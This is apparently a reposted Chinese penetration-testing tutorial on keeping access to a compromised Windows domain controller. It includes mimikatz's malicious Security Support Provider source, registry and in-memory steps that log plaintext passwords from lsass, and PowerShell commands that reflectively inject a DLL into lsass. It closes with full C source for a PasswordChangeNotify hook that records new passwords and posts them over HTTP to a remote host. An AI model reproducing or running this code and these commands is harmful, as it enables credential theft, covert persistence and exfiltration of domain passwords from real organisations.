域渗透之域控权限维持

  • 域渗透之域控权限维持已关闭评论
  • 6 views
  • A+
所属分类:先知文章

前言

拿下域控,渗透就结束了吗?实际上,往往刚刚开始。
本文就域控权限维持的两种方法展开研究:SSPPasswordChangeNotify。牢牢抓住这条鱼。

SSP

何为SSP

SPP全称为Security Support Provider,安全支持提供者。
SPP是一个dll,用于身份的验证。
windows下的SSP包含有:

  • NTLMSSP (msv1_0.dll)
  • Kerberos (kerberos.dll)
  • NegotiateSSP (secur32.dll)
  • Secure Channel (schannel.dll)
  • TLS/SSL
  • Digest SSP (wdigest.dll)
  • CredSSP (credssp.dll)
  • DPA(Distributed Password Authentication) (msapsspc.dll)
  • Public Key Cryptography User-to-User (PKU2U, pku2u.dll)

SSPI

SSPI全称为Security Support Provider Interface,为SSP接口,实际上就是SSP的API。

LSA

LSA全称Local Security Authority,是微软窗口操作系统的一个内部程序,负责运行Windows系统安全政策。它在用户登录时电脑单机或服务器时,验证用户身份,管理用户密码变更,并产生访问字符。它也会在窗口安全记录档中留下应有的记录。用于身份的验证。其中就包含有lsass.exe进程。

域渗透之域控权限维持

操作lsass进程需要至少system权限。

利用SSP进行权限维持

如果获得目标系统system权限,可以使用该方法进行持久化操作。其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe 进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样即使用户更改密码并重新登录,攻击者依然可以获得该账号的新密码。

mimikatz早以支持这个功能,该文件为为mimilib.dll。mimikatz poc为:

#include "kssp.h"

static SECPKG_FUNCTION_TABLE kiwissp_SecPkgFunctionTable = {
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
    kssp_SpInitialize, kssp_SpShutDown, kssp_SpGetInfo, kssp_SpAcceptCredentials,
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL, NULL, NULL, NULL,
};

NTSTATUS NTAPI kssp_SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)
{
    return STATUS_SUCCESS;
}

NTSTATUS NTAPI kssp_SpShutDown(void)
{
    return STATUS_SUCCESS;
}

NTSTATUS NTAPI kssp_SpGetInfo(PSecPkgInfoW PackageInfo)
{
    PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
    PackageInfo->wVersion   = 1;
    PackageInfo->wRPCID     = SECPKG_ID_NONE;
    PackageInfo->cbMaxToken = 0;
    PackageInfo->Name       = L"KiwiSSP";
    PackageInfo->Comment    = L"Kiwi Security Support Provider";
    return STATUS_SUCCESS;
}

NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
    FILE * kssp_logfile;;
#pragma warning(push)
#pragma warning(disable:4996)
    if(kssp_logfile = _wfopen(L"kiwissp.log", L"a"))
#pragma warning(pop)
    {   
        klog(kssp_logfile, L"[%08x:%08x] [%08x] %wZ\\%wZ (%wZ)\t", PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, LogonType, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName);
        klog_password(kssp_logfile, &PrimaryCredentials->Password);
        klog(kssp_logfile, L"\n");
        fclose(kssp_logfile);
    }
    return STATUS_SUCCESS;
}

NTSTATUS NTAPI kssp_SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE *ppTables, PULONG pcTables)
{
    *PackageVersion = 0x00000042;
    *ppTables = &kiwissp_SecPkgFunctionTable;
    *pcTables = 1;
    return STATUS_SUCCESS;
}

域渗透之域控权限维持

64位和32位的都有,和目标系统位数要一致。
将该dll拷贝到域控c:\windows\system32

域渗透之域控权限维持

打开注册表,修改域控位置HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\

域渗透之域控权限维持

Security Packages下添加mimilib.dll

域渗透之域控权限维持

域渗透之域控权限维持

将域控重启系统。打开新生成文件c:\windows\system32\kiwissp.log

域渗透之域控权限维持

kiwissp.log记录着登录的账户和明文密码

域渗透之域控权限维持

但该方式弊端非常明显:重启的动作太大。
mimikatz同样支持了以内存更新的方式更新ssp,无需重启就能获取到登录用户的账号信息和密码。

进入与目标系统位数相同的mimikatz后,输入命令

  • privilege::debug
  • misc::memssp

域渗透之域控权限维持

当目标用户注销后再登录,账户和明文密码会储存到C:\Windows\system32\mimilsa.log

域渗透之域控权限维持

type C:\Windows\system32\mimilsa.log

域渗透之域控权限维持

实际上就是将该dll注入到lsass进程中。该方式重启后无效,需要重新注入。
但依靠mimikatz这两种方式有一定局限性。下面介绍通过Hook PasswordChangeNotify拦截修改的帐户密码的方法。

PasswordChangeNotify

何为PasswordChangeNotify

PasswordChangeNotify是windows提供的一个API。
具体参数返回值参照官方文档:https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nc-ntsecapi-psam_password_notification_routine
当域控密码被修改时,LSA首先调用PasswordFileter函数,该函数作用为检测新密码是否满足复杂度。如果符合则调用PasswordChangeNotify在系统上同步更新密码。

HOOK PasswordChangeNotify

具体实现思路如下:

  1. 为PasswordChangeNotify创建一个钩子,将函数执行流重定向到我们自己的PasswordChangeNotifyHook函数中。
  2. 在PasswordChangeNotifyHook函数中写入获取密码的代码,然后再取消钩子,重新将执行流还给PasswordChangeNotify。
  3. 将生成的dll注入到lssas进程中。
    使用HOOK PasswordChangeNotify无需重启域控系统或修改注册表,更加隐蔽且贴合实际。

技术复现

前人栽树,后人乘凉。
项目地址:https://github.com/clymb3r/Misc-Windows-Hacking

下载后将sln文件打开,右键解决方案,将MFC的使用设置为在静态库中使用MFC编译工程,然后F7编译。

域渗透之域控权限维持

域渗透之域控权限维持

dll生成成功之后就需要将dll注入,这里估摸着自己写一个远线程注入也可以,同样可以使用powershell脚本进行注入。

https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1

使用该将HookPasswordChange.dll注入内存

Set-ExecutionPolicy bypass
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

执行后若无报错信息则说明注入成功。注意dll位数。

域渗透之域控权限维持

当更改密码后,能够抓取到更改后的密码,账户和明文密码储存在C:\Windows\Temp\passwords.txt

域渗透之域控权限维持

域渗透之域控权限维持

当然存储文件位置和类型可以自定义,只需更改HookPasswordChange.cpp文件。

域渗透之域控权限维持

如果觉得仍然不方便,希望直接将密码上传到服务器,可以使用http协议发送。

#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>

void writeToLog(const char* szString)
{
    FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
    if (NULL == pFile)
    {
        return;
    }
    fprintf(pFile, "%s\r\n", szString);
    fclose(pFile);
    return;
}



// Default DllMain implementation
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    OutputDebugString(L"DllMain");
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

BOOLEAN __stdcall InitializeChangeNotify(void)
{
    OutputDebugString(L"InitializeChangeNotify");
    writeToLog("InitializeChangeNotify()");
    return TRUE;
}

BOOLEAN __stdcall PasswordFilter(
    PUNICODE_STRING AccountName,
    PUNICODE_STRING FullName,
    PUNICODE_STRING Password,
    BOOLEAN SetOperation )
{
    OutputDebugString(L"PasswordFilter");
    return TRUE;
}

NTSTATUS __stdcall PasswordChangeNotify(
    PUNICODE_STRING UserName,
    ULONG RelativeId,
    PUNICODE_STRING NewPassword )
{
  FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
  //HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
    HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
    HINTERNET hSession = InternetConnect(hInternet,L"192.168.1.1",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0);
    HINTERNET hReq = HttpOpenRequest(hSession,L"POST",L"/",NULL,NULL,NULL,0,0);
    char* pBuf="SomeData";



    OutputDebugString(L"PasswordChangeNotify");
    if (NULL == pFile)
    {
        return;
    }
    fprintf(pFile, "%ws:%ws\r\n", UserName->Buffer,NewPassword->Buffer);
  fclose(pFile);
    InternetSetOption(hSession,INTERNET_OPTION_USERNAME,UserName->Buffer,UserName->Length/2);
    InternetSetOption(hSession,INTERNET_OPTION_PASSWORD,NewPassword->Buffer,NewPassword->Length/2);
    HttpSendRequest(hReq,NULL,0,pBuf,strlen(pBuf));

    return 0;
}

参考

https://blog.carnal0wnage.com/2013/09/stealing-passwords-every-time-they.html
https://github.com/gentilkiwi/mimikatz/blob/bb371c2acba397b4006a6cddc0f9ce2b5958017b/mimilib/kssp.c#L21
https://wooyun.js.org/drops/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Security%20Support%20Provider.html
https://paper.seebug.org/papers/Archive/drops2/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Hook%20PasswordChangeNotify.html